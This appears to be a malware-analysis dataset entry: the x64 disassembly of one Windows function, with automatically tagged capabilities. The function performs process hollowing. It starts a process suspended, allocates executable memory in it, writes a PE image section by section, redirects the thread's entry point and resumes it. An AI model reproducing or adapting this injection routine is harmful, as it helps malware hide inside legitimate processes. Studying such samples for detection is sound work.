Function at 0x1400213d0
Capabilities:
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x390
mov qword [rsp + 0x228], 0xfffffffffffffffe
mov rax, qword [0x140098080]
xor rax, rsp
mov qword [rsp + 0x380], rax
mov dword [rsp + 0x1e8], 0
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
call fcn.14000fb90
mov dword [rsp + 0xf0], eax
mov byte [rsp + 0x61], 0
movzx eax, byte [rsp + 0x3d8]
test eax, eax
je 0x140021518
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov rcx, rax
call fcn.140034830
lea rcx, [rsp + 0x2a0]
call fcn.140034870
nop
movzx r9d, byte [rsp + 0x3d0]
lea r8, [rsp + 0x2a0]
lea rdx, [rsp + 0x78]
mov ecx, dword [rsp + 0xf0]
call fcn.140021f90
movzx eax, al
test eax, eax
je 0x14002150a
cmp qword [rsp + 0x78], 0
je 0x14002150a
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rsp + 0x78]
call fcn.140031480
test eax, eax
je 0x14002150a
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0xc0]
call fcn.1400181d0
test eax, eax
je 0x14002150a
mov byte [rsp + 0x61], 1
lea rcx, [rsp + 0x2a0]
call fcn.1400346e0
nop
movzx eax, byte [rsp + 0x3d8]
test eax, eax
je 0x140021534
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x140021534
xor al, al
jmp 0x140021f1c
lea rdx, [0x140086828]
lea rcx, [rsp + 0x2c0]
call fcn.14001a5c0
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0xf8]
cmp qword [rax + 0x18], 0x10
jb 0x14002159c
mov dword [rsp + 0x88], 1
jmp 0x1400215a7
mov dword [rsp + 0x88], 0
movzx eax, byte [rsp + 0x88]
test eax, eax
je 0x1400215c6
mov rax, qword [rsp + 0xf8]
mov rax, qword [rax]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x180], rax
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x2c0]
call fcn.1400346e0
nop
cmp qword [rsp + 0xd0], 0
je 0x140021872
lea rdx, [0x140085ab8]
lea rcx, [rsp + 0x2e0]
call fcn.14001a5c0
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x100]
cmp qword [rax + 0x18], 0x10
jb 0x140021671
mov dword [rsp + 0x8c], 1
jmp 0x14002167c
mov dword [rsp + 0x8c], 0
movzx eax, byte [rsp + 0x8c]
test eax, eax
je 0x14002169b
mov rax, qword [rsp + 0x100]
mov rax, qword [rax]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x198], rax
mov rdx, qword [rsp + 0x198]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009a630], rax
lea rcx, [rsp + 0x2e0]
call fcn.1400346e0
nop
lea rdx, [0x140085ae0]
lea rcx, [rsp + 0x300]
call fcn.14001a5c0
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x108]
cmp qword [rax + 0x18], 0x10
jb 0x14002173e
mov dword [rsp + 0x90], 1
jmp 0x140021749
mov dword [rsp + 0x90], 0
movzx eax, byte [rsp + 0x90]
test eax, eax
je 0x140021768
mov rax, qword [rsp + 0x108]
mov rax, qword [rax]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x1b0], rax
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009a628], rax
lea rcx, [rsp + 0x300]
call fcn.1400346e0
nop
lea rdx, [0x140085b08]
lea rcx, [rsp + 0x320]
call fcn.14001a5c0
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x110]
cmp qword [rax + 0x18], 0x10
jb 0x14002180b
mov dword [rsp + 0x94], 1
jmp 0x140021816
mov dword [rsp + 0x94], 0
movzx eax, byte [rsp + 0x94]
test eax, eax
je 0x140021835
mov rax, qword [rsp + 0x110]
mov rax, qword [rax]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x1c8], rax
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009a620], rax
lea rcx, [rsp + 0x320]
call fcn.1400346e0
nop
jmp 0x140021879
xor al, al
jmp 0x140021f1c
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x140021cf4
mov rax, qword [rsp + 0x148]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x3a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
jne 0x140021cf4
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x3a8]
call fcn.140030400
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x1400218fe
cmp dword [rsp + 0x98], 0
jne 0x140021918
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x140021922
cmp dword [rsp + 0x98], 6
je 0x140021922
movzx eax, byte [rsp + 0x60]
jmp 0x140021f1c
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x1d0], rax
mov rdi, qword [rsp + 0x1d0]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x230]
mov qword [rsp + 0x1d8], rax
mov rdi, qword [rsp + 0x1d8]
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x230], 0x68
mov dword [rsp + 0x26c], 0x101
xor eax, eax
mov word [rsp + 0x270], ax
movzx eax, byte [rsp + 0x3d8]
test eax, eax
je 0x140021a02
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x3b0]
mov rdx, qword [rsp + 0x3a8]
mov rcx, qword [rsp + 0xc8]
call fcn.1400315f0
mov dword [rsp + 0xa8], eax
jmp 0x140021a60
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x3a8]
call fcn.1400317c0
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 0
je 0x140021cf4
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call fcn.140018310
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xe0]
call fcn.140018450
test eax, eax
je 0x140021ce5
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x220]
mov rdx, rax
mov rcx, qword [rsp + 0xd8]
call qword [0x14009a630]
movzx eax, byte [rsp + 0x3c8]
test eax, eax
je 0x140021b0e
mov dword [rsp + 0x9c], 0x40
jmp 0x140021b19
mov dword [rsp + 0x9c], 4
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0xf4], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov ecx, dword [rsp + 0xf4]
mov dword [rsp + 0x20], ecx
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xd8]
call fcn.140031960
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
je 0x140021cd4
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x3a0]
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xd8]
call fcn.140018570
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0x70], 0
jmp 0x140021bc9
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x70], eax
jge 0x140021c4a
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0xb0]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x3a0]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0xb0]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0xb8]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0xd8]
call fcn.140018570
mov rax, qword [rsp + 0xb0]
add rax, 0x28
mov qword [rsp + 0xb0], rax
jmp 0x140021bbf
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xb8]
mov rdx, rax
mov rcx, qword [rsp + 0xd8]
call fcn.140018570
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x80]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xe0]
call qword [0x14009a628]
mov rcx, qword [rsp + 0xe0]
call qword [0x14009a620]
mov byte [rsp + 0x60], 1
jmp 0x140021ce3
xor edx, edx
mov rcx, qword [rsp + 0xd8]
call fcn.140031ab0
jmp 0x140021cf4
xor edx, edx
mov rcx, qword [rsp + 0xd8]
call fcn.140031ab0
cmp qword [rsp + 0xc0], 0
je 0x140021ed8
lea rdx, [0x140085b28]
lea rcx, [rsp + 0x340]
call fcn.14001a5c0
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x118]
cmp qword [rax + 0x18], 0x10
jb 0x140021d7b
mov dword [rsp + 0xa0], 1
jmp 0x140021d86
mov dword [rsp + 0xa0], 0
movzx eax, byte [rsp + 0xa0]
test eax, eax
je 0x140021da5
mov rax, qword [rsp + 0x118]
mov rax, qword [rax]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x1f8]
call fcn.1400186c0
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x340]
call fcn.1400346e0
nop
cmp qword [rsp + 0x160], 0
je 0x140021ecc
lea rdx, [0x140085b48]
lea rcx, [rsp + 0x360]
call fcn.14001a5c0
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x120]
cmp qword [rax + 0x18], 0x10
jb 0x140021e4f
mov dword [rsp + 0xa4], 1
jmp 0x140021e5a
mov dword [rsp + 0xa4], 0
movzx eax, byte [rsp + 0xa4]
test eax, eax
je 0x140021e79
mov rax, qword [rsp + 0x120]
mov rax, qword [rax]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x210], rax
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009a658], rax
lea rcx, [rsp + 0x360]
call fcn.1400346e0
nop
cmp qword [0x14009a658], 0
je 0x140021ecc
mov rcx, qword [rsp + 0xc0]
call qword [0x14009a658]
mov qword [rsp + 0xc0], 0
cmp qword [rsp + 0xc8], 0
je 0x140021efc
mov rcx, qword [rsp + 0xc8]
call fcn.14002f2f0
mov qword [rsp + 0xc8], 0
cmp qword [rsp + 0x78], 0
je 0x140021f17
mov rcx, qword [rsp + 0x78]
call fcn.14002f2f0
mov qword [rsp + 0x78], 0
movzx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.140044980
add rsp, 0x390
pop rdi
ret